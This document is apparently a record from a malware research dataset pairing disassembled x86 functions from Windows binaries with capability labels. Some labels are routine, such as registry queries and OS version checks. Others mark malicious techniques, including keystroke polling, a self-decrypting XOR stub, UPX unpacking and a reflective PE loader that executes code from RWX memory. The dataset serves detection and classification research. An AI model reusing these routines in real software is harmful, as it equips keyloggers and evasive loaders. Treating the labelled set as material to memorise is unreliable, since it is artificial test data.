joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005bb5
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 8]
xor esi, esi
push eax
mov dword [ebp - 8], esi
call fcn.010069e4
mov edi, eax
cmp edi, esi
jge 0x1005be8
push edi
push 0x10019b8
call dword [sym.imp.msvcrt.dll_wprintf]
movzx eax, di
pop ecx
pop ecx
mov dword [ebp + 8], eax
jmp 0x1005c59
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
lea eax, [ebx + 4]
push eax
push esi
mov edi, 0x10000006
push edi
push 0x100199c
push esi
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov dword [ebp - 4], 0x40
call esi
mov dword [ebp + 8], eax
test eax, eax
je 0x1005c22
push eax
push 0x100199c
jmp 0x1005c4a
lea eax, [ebp - 4]
push eax
add ebx, 0x58
push ebx
push 0
push edi
mov edi, 0x1001980
push edi
push 0
push dword [ebp - 8]
mov dword [ebp - 4], 0x40
call esi
mov dword [ebp + 8], eax
test eax, eax
je 0x1005c58
push eax
push edi
push 0x1001908
call dword [sym.imp.msvcrt.dll_wprintf]
add esp, 0xc
pop ebx
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret 4

Function at 0x1007645
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
push dword [ebp + 0xc]
mov dword [ebp - 0x108], eax
mov eax, edi
shr eax, 4
inc eax
movzx eax, ax
push eax
push 6
push esi
mov ebx, 0x80004005
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
je 0x1007725
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1007725
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1007725
xor eax, eax
push 0xfe
push eax
mov word [ebp - 0x104], ax
lea eax, [ebp - 0x102]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
and edi, 0xf
jbe 0x10076d9
dec edi
movzx eax, word [esi]
lea esi, [esi + eax*2 + 2]
jne 0x10076cf
movzx edi, word [esi]
mov eax, 0x80
cmp edi, eax
jae 0x1007725
add esi, 2
push esi
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.01005cb3
mov ebx, eax
test ebx, ebx
jge 0x1007704
cmp ebx, 0x8007007a
jne 0x1007725
xor eax, eax
mov word [ebp + edi*2 - 0x104], ax
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x18]
push dword [ebp - 0x108]
call fcn.01005cb3
mov ebx, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.01006523
leave
ret 0x14
Function at 0x100773d
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x50], eax
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push eax
mov dword [ebp - 0x48], 0x80004005
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push edi
push esi
mov dword [ebp - 0x4c], 0x40
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
pop edi
pop esi
test eax, eax
jne 0x10077be
mov eax, dword [ebp + 0x18]
cmp eax, 0x20
jb 0x10077a5
push 0x20
pop eax
xor ecx, ecx
mov word [ebp + eax*2 - 0x46], cx
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x50]
call fcn.01005cb3
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x48]
xor ecx, ebp
call fcn.01006523
leave
ret 0x14
Function at 0x1007816
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x348
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
mov dword [ebp - 0x334], eax
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x348], eax
xor eax, eax
xor edi, edi
push 0xfe
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x126]
push edi
push eax
mov esi, 0x80004005
mov dword [ebp - 0x338], edi
call sub.msvcrt.dll_memset
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x344], 0x100
mov word [ebx], ax
cmp dword [0x100a6a4], edi
jne 0x10079a9
push 0x104
lea eax, [ebp - 0x330]
push eax
mov dword [0x100a6a4], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1007999
push 0x10024bc
push 0x104
lea eax, [ebp - 0x330]
push eax
call fcn.0100727c
test eax, eax
jl 0x1007999
push dword [ebp + 0xc]
lea eax, [ebp - 0x330]
push 8
push eax
call fcn.010081ef
mov dword [ebp - 0x340], eax
cmp eax, edi
je 0x1007999
and dword [0x100a6a4], 0
push 8
pop ecx
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
rep stosd dword es:[edi], eax
push 0x12
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x334]
mov dword [ebp - 0x338], 1
push dword [ebp - 0x33c]
call fcn.010077d4
mov esi, eax
test esi, esi
jl 0x100798c
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.010075a4
mov esi, eax
test esi, esi
jl 0x100798c
push 0x80
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x334]
push dword [ebp + 0xc]
push dword [ebp - 0x340]
call fcn.01007645
mov esi, eax
test esi, esi
jl 0x100798c
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x1c]
push ebx
call fcn.01005cb3
mov esi, eax
xor eax, eax
test esi, esi
setl al
mov dword [ebp - 0x338], eax
push dword [ebp - 0x340]
call fcn.01008063
xor edi, edi
cmp dword [0x100a6a4], edi
jne 0x10079a9
cmp dword [ebp - 0x338], edi
je 0x10079ef
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x128]
push eax
push edi
push edi
push dword [ebp - 0x348]
mov esi, 0x80004005
push dword [ebp - 0x33c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10079ef
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x1c]
push ebx
call fcn.01005cb3
mov esi, eax
cmp esi, edi
jl 0x10079ef
mov esi, 0x40203
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.01006523
leave
ret 0x18
Function at 0x1007cef
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
cmp dword [0x100a6a8], edi
jne 0x1007e0b
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
test eax, eax
jne 0x1007d56
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call esi
mov eax, dword [ebp - 0x110]
dec eax
mov dword [0x100a6a8], edi
pop esi
je 0x1007dde
dec eax
jne 0x1007e0b
cmp dword [ebp - 0x11c], 5
jne 0x1007dcb
mov eax, dword [ebp - 0x118]
sub eax, edi
je 0x1007dbf
dec eax
je 0x1007dac
dec eax
je 0x1007d92
mov dword [0x100a6a8], 0x14
jmp 0x1007e0b
cmp word [ebp - 0xc], 1
jb 0x1007da3
mov dword [0x100a6a8], 0x10
or dword [0x100a6a8], 4
jmp 0x1007e0b
cmp word [ebp - 0xc], 2
jb 0x1007da3
mov dword [0x100a6a8], 8
jmp 0x1007da3
mov dword [0x100a6a8], 4
jmp 0x1007e0b
cmp dword [ebp - 0x11c], 4
ja 0x1007e1d
mov dword [0x100a6a8], 2
cmp dword [ebp - 0x11c], 4
jne 0x1007e0b
cmp dword [ebp - 0x118], edi
je 0x1007e01
cmp dword [ebp - 0x118], 0xa
je 0x1007e01
cmp dword [ebp - 0x118], 0x5a
jne 0x1007e0b
mov dword [0x100a6a8], 1
mov ecx, dword [ebp - 4]
mov eax, dword [0x100a6a8]
xor ecx, ebp
pop edi
call fcn.01006523
leave
ret
mov dword [0x100a6a8], 0x20
jmp 0x1007e0b

Function at 0x1007e2e
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x20
lea eax, [ebp - 0x44]
push eax
push 8
push 0x404
mov esi, 0xc04
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1007e82
push 3
lea eax, [ebp - 0x44]
push 0x10029c8
push eax
call sub.msvcrt.dll_wcsncmp
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xfffff800
add esi, 0xc04
mov ecx, dword [ebp - 4]
mov ax, si
xor ecx, ebp
pop esi
call fcn.01006523
leave
ret

Function at 0x1007e97
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp ax, word [0x100a6ac]
jne 0x1007f32
push esi
lea eax, [ebp - 0x10]
push eax
push 1
xor esi, esi
push esi
push 0x10028f8
push 0x80000002
mov dword [ebp - 0x14], 6
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1007f31
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push 0x10029b0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x10]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x1007f31
push 3
push dword [esi*8 + 0x1002748]
lea eax, [ebp - 0xc]
push eax
call sub.msvcrt.dll__wcsnicmp
add esp, 0xc
test eax, eax
je 0x1007f23
inc esi
cmp esi, 0x1c
jb 0x1007f02
jmp 0x1007f31
mov ax, word [esi*8 + 0x100274c]
mov word [0x100a6ac], ax
pop esi
mov ecx, dword [ebp - 4]
mov ax, word [0x100a6ac]
xor ecx, ebp
call fcn.01006523
leave
ret
Function at 0xc88930
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x763000]
push edi
or ebp, 0xffffffff
jmp 0xc88952
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xc88959
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc88948
mov eax, 1
add ebx, ebx
jne 0xc8896b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xc8897c
jne 0xc8899b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc8899b
dec eax
add ebx, ebx
jne 0xc88988
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xc88960
add ebx, ebx
jne 0xc88997
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xc889ed
xor ecx, ecx
sub eax, 3
jb 0xc889b3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xc88a22
sar eax, 1
mov ebp, eax
jmp 0xc889be
add ebx, ebx
jne 0xc889be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc8898c
inc ecx
add ebx, ebx
jne 0xc889cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc8898c
add ebx, ebx
jne 0xc889d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xc889ce
jne 0xc889ea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc889ce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xc88a0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xc889fe
jmp 0xc8894e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xc88a0c
add edi, ecx
jmp 0xc8894e
pop esi
mov edi, esi
mov ecx, 0x211fe
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xc88a2a
cmp byte [edi], 0x87
jne 0xc88a2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xc88a2f
lea edi, [esi + 0x85b000]
mov eax, dword [edi]
or eax, eax
je 0xc88a9e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbfc62c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbfc758]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xc88a5c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbfc75c]
or eax, eax
je 0xc88a98
mov dword [ebx], eax
add ebx, 4
jmp 0xc88a79
call dword [esi + 0xbfc764]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xc88acf
cmp al, 0xef
ja 0xc88ac2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xc88aa4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xc88ab1
mov ebp, dword [esi + 0xbfc760]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xc88b03
sub esp, 0xffffff80
jmp 0x872bdc
Function at 0x10003ad0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10003b13
push 6
call fcn.10014782
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10003b3d
push 6
call fcn.10014782
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10003b71
push 6
call fcn.10014782
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x10003b79
mov esp, ebp
pop ebp
ret 4

Function at 0x10005e4c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x10005e87
push 6
call fcn.10014782
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.10015760
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10005eea
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.10014c20
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x10005f0e
push 6
call fcn.10014782
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.10015760
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10005f71
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.10014c20
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x10005f95
push 6
call fcn.10014782
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.10015760
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10005ff8
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.10014c20
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x10006000
mov esp, ebp
pop ebp
ret
Function at 0x10014b80
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call fcn.10017574
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x10014bea
push esi
lea edi, [eax + 0x400]
call fcn.10017569
push edi
call fcn.10017574
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x10014bba
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10014c06
push ecx
push esi
call fcn.10016be0
add esp, 8
mov ebx, eax
push esi
call fcn.10017569
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10014e00
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x10014e41.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x10014e41.2
jmp dword [eax*4 + 0x10014ecc]
mov word [esp + 0x48], di
jmp 0x10014e7a
mov word [esp + 0x48], 2
jmp 0x10014e7a
mov word [esp + 0x48], 3
jmp 0x10014e7a
mov word [esp + 0x48], 4
jmp 0x10014e7a
mov word [esp + 0x48], 7
jmp 0x10014e7a
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x10014ec4
cmp dword [esp + 0x70], edi
je 0x10014eb0
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000c6b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x101d4e34], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000b649
lea ecx, [0x1000b8f5]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x34], edx
mov dword [esp + 0x54], 0x148200
mov edx, dword [0x101d4e20]
mov dword [esp + 0x44], edx
mov edx, dword [0x101d4e24]
mov dword [esp + 0x68], edx
mov edx, dword [0x101d4e28]
mov dword [esp + 0x30], edx
mov edx, dword [0x101d4e2c]
mov dword [esp + 0x74], edx
mov edx, dword [0x101d4e30]
mov dword [esp + 0x60], edx
mov dword [0x101d4e38], 0x1d3f
mov dword [0x101d4e34], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000c76b
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1000c78e
jmp 0x1000c77a
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x1000c74d
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000c76b
mov eax, dword [esp + 0x10]
mov dword [esp + 0x70], eax
mov dword [0x101d4e34], 0x4417
mov dword [0x101d4e38], 0x94b
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x4c], edx
call fcn.1000b96e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1000c763
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000c16c
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
jmp 0x1000c763

Function at 0x1883700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0188378f
jae 0x188370e
xor ecx, ecx
call fcn.0188378f
jae 0x188373d
xor eax, eax
call fcn.0188378f
jae 0x188374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0188378f
adc al, al
jae 0x188372f
jne 0x1883779
stosb byte es:[edi], al
jmp 0x1883711
call fcn.0188379b
sub ecx, ebx
jne 0x1883756
call fcn.01883799
jmp 0x1883775
lodsb al, byte [esi]
shr eax, 1
je 0x1883783
adc ecx, ecx
jmp 0x1883772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.01883799
cmp eax, 0x7d00
jae 0x1883772
cmp ah, 5
jae 0x1883773
cmp eax, 0x7f
ja 0x1883774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1883711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x45671000
Capabilities:
Access pe header
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x456710dd
push edi
push 0x40
push 0x1000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x456710d9
mov ecx, dword [ebx + 0x54]
rep movsb byte es:[edi], byte [esi]
movzx eax, word [ebx + 0x14]
movzx edx, word [ebx + 6]
lea eax, [eax + ebx + 0x18]
add eax, 0xc
mov ecx, dword [eax]
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 4]
add esi, ecx
add edi, ecx
mov ecx, dword [eax - 4]
add eax, 0x28
dec edx
rep movsb byte es:[edi], byte [esi]
jne 0x4567104f
mov esi, dword [ebp - 4]
mov edi, dword [sym.imp.ntdll.dll_RtlImageDirectoryEntryToData]
sub esi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 5
push 1
push dword [ebp - 4]
call edi
test eax, eax
je 0x456710a8
jmp 0x456710a2
mov ecx, dword [eax + 4]
sub dword [ebp - 8], ecx
push esi
lea edx, [eax + 8]
mov eax, dword [eax]
add eax, dword [ebp - 4]
add ecx, 0xfffffff8
push edx
shr ecx, 1
push ecx
push eax
call dword [sym.imp.ntdll.dll_LdrProcessRelocationBlock]
cmp dword [ebp - 8], 0
jne 0x45671085
lea eax, [ebp - 8]
push eax
push 1
push 1
push dword [ebp - 4]
call edi
test eax, eax
je 0x456710d9
lea ecx, [eax + 0xc]
mov eax, dword [ecx]
test eax, eax
je 0x456710d9
mov esi, ecx
mov ecx, dword [ebp - 4]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esi, 0x14
mov eax, dword [esi]
test eax, eax
jne 0x456710c4
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x45671256
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_wcslen]
mov edi, eax
pop ecx
lea eax, [edi + edi + 2]
call fcn.45674280
mov esi, dword [sym.imp.ntdll.dll_wcscpy]
mov ebx, esp
push dword [ebp + 8]
mov dword [ebp - 0x10], ebx
push ebx
call esi
pop ecx
lea ebx, [ebx + edi*2 - 0x48]
pop ecx
mov edi, ebx
dec edi
dec edi
cmp word [edi], 0x5c
jne 0x45671290
lea eax, [edi + 2]
push str.S_1_5_18
push eax
call esi
push ebx
push edi
call dword [sym.imp.ntdll.dll_wcscat]
add esp, 0x10
push 0x20
push 7
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
push ebx
push dword [ebp - 0x10]
lea esi, [ebp - 0x30]
call fcn.456717fd
mov edi, dword [sym.imp.ntdll.dll_ZwOpenFile]
push eax
push 0x120089
lea eax, [ebp - 4]
push eax
call edi
test eax, eax
jl 0x45671301
push ebx
push ebx
push 0x800
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwReadFile]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwClose]
cmp dword [ebp - 8], 0x800
jne 0x45671355
push 0x20
push 7
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 8]
lea esi, [ebp - 0x30]
call fcn.456717fd
push eax
push 0x120116
lea eax, [ebp - 4]
push eax
call edi
test eax, eax
jl 0x45671355
push ebx
push ebx
push 0x800
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwWriteFile]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwClose]
lea esp, [ebp - 0x83c]
pop edi
pop esi
pop ebx
leave
ret 4